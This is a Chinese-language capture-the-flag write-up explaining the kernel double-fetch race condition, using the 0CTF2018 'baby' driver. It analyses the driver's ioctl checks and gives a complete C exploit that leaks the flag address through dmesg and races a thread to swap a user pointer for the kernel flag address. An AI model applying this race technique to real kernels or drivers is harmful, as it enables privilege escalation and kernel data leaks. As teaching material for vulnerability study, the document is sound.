Double Fetch
属于条件竞争漏洞(内核态与用户态之间的数据访问竞争)
漏洞介绍:
虚拟内存地址通常被划分为内核空间和用户空间,内核空间负责运行内核代码,驱动模块代码,权限较高;
用户空间运行用户代码,并通过系统调用进入内核完成相关功能==》
在用户空间向内核传递数据时,内核先通过copy_from_user等拷贝函数将用户数据拷贝至内核空间进行校验
和相关处理==》
在输入的数据较为复杂时,内核可能只引用其指针,将其数据暂时保存在用户空间进行后续处理==》
该数据存在被恶意线程篡改的可能
漏洞原理模型:
一个用户态线程准备数据并通过系统调用进入内核==》
该数据在内核中有两次被取用:
第一次取用数据进行安全检查(缓冲区大小,指针可用性)
检查通过后==》内核第二次取用数据进行实际处理
===》在两次取用数据之间,另外一个用户态线程可创造条件竞争=》
对已通过检查的用户态数据进行篡改==》
在使用时造成访问越界或缓冲区溢出==》内核崩溃/权限提升
例题:
0CTF2018-baby
提供
对驱动进行检查:
静态分析:
baby_ioctl():
sub_25:
==》当参数为0x6666时,驱动将输出flag的加载地址
==》当参数为0x1337时,进行3个校验,接下来对用户输入的内容与硬编码的flag进行逐字节比较,一致时将flag输出
校验函数:
==》__CFADD__将返回a1+a2的CF进位标志
==》当a1+a2小于a3时,条件满足(判断是否越界)
==》
__readgsqword(¤t_task) + 0x1358为内核地址
a3为用户的地址
a3+8为flag的长度
===》
a3为一个结构体
struct message{
char *buf;//存放用户层flag的地址
long len;//len存放内核层flag的长度
}
检查内容:
1、输入的数据指针是否为用户态数据
2、数据指针内的flag_str是否指向用户态
3、指针内的flag_len是否等于硬编码flag的长度
思路:
在绕过0x1337检查后,将buf的指针通过条件竞争的方式更改为内核flag的地址==》
在经过用户态flag与内核态flag长度判断时就是内核flag自己的判断,然后打印出flag的值
1、寻找flag的长度
2、得到flag的内核地址
3、通过多线程实现buf指针的劫持,绕过检测
4、通过dmesg查找内核打印至内核缓冲区的flag
exp:
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int Time=1000;
unsigned long long flag_addr; //真正的flag的位置
int finish=1;
struct usr_data{
char *flag;
size_t len;
};
void evil_thread_func(void *a){ //传进来的参数是usr_data的地址
printf("Evil thread trugger!\n");
struct usr_data *s = a;
while(finish==1){
s->flag = flag_addr;//修改用户态的结构体的flag地址为内核态flag地址
}
};
int main(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
char buf[201]={0};
char usr_flag[] = "flag{aasdascxcdadwdaw}";
struct usr_data usr_data;
usr_data.flag = usr_flag;
usr_data.len = 33;
int fd;
fd = open("/dev/baby",0);//打开对应的设备
int ret;
ret = ioctl(fd,0x6666); //发送0x6666,经过第一个if
system("dmesg | grep flag > /tmp/sir.txt"); //通过dmesg获取printk出来的内核态flag地址
int file_fd = open("/tmp/sir.txt",O_RDONLY);
int id = read(file_fd,buf,200);
close(file_fd);
char *addr;
addr = strstr(buf,"Your flag is at ");//此时addr指向Your
if(!addr){
perror("error!");
return -1;
}
addr += 0x10;//此时addr指向flag
flag_addr = strtoull(addr,addr+16,16);
//16进制字符串转unsigned longlong,全局变量flag_addr中此时是真正的flag的地址
printf("[*]flag addr is : %p\n",flag_addr);
pthread_t evil_thread;//设置线程对象指针
pthread_create(&evil_thread,NULL,evil_thread_func,&usr_data);
//开一个恶意线程来修改usr data,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件
//从而使其通过驱动中的逐字节比较检查,输出flag内容
//Time=1000
for(int i=0;i<Time;i++){
ret = ioctl(fd,0x1337,&usr_data); //不断地去发0x1337进入第二个if
usr_data.flag=usr_flag; //保证usr.flag指向用户态的空间
}
finish=0;
pthread_join(evil_thread,NULL);//结束线程
close(fd);
printf("The flag in Kernel is :\n");
system("dmesg | grep flag");
return 0;
}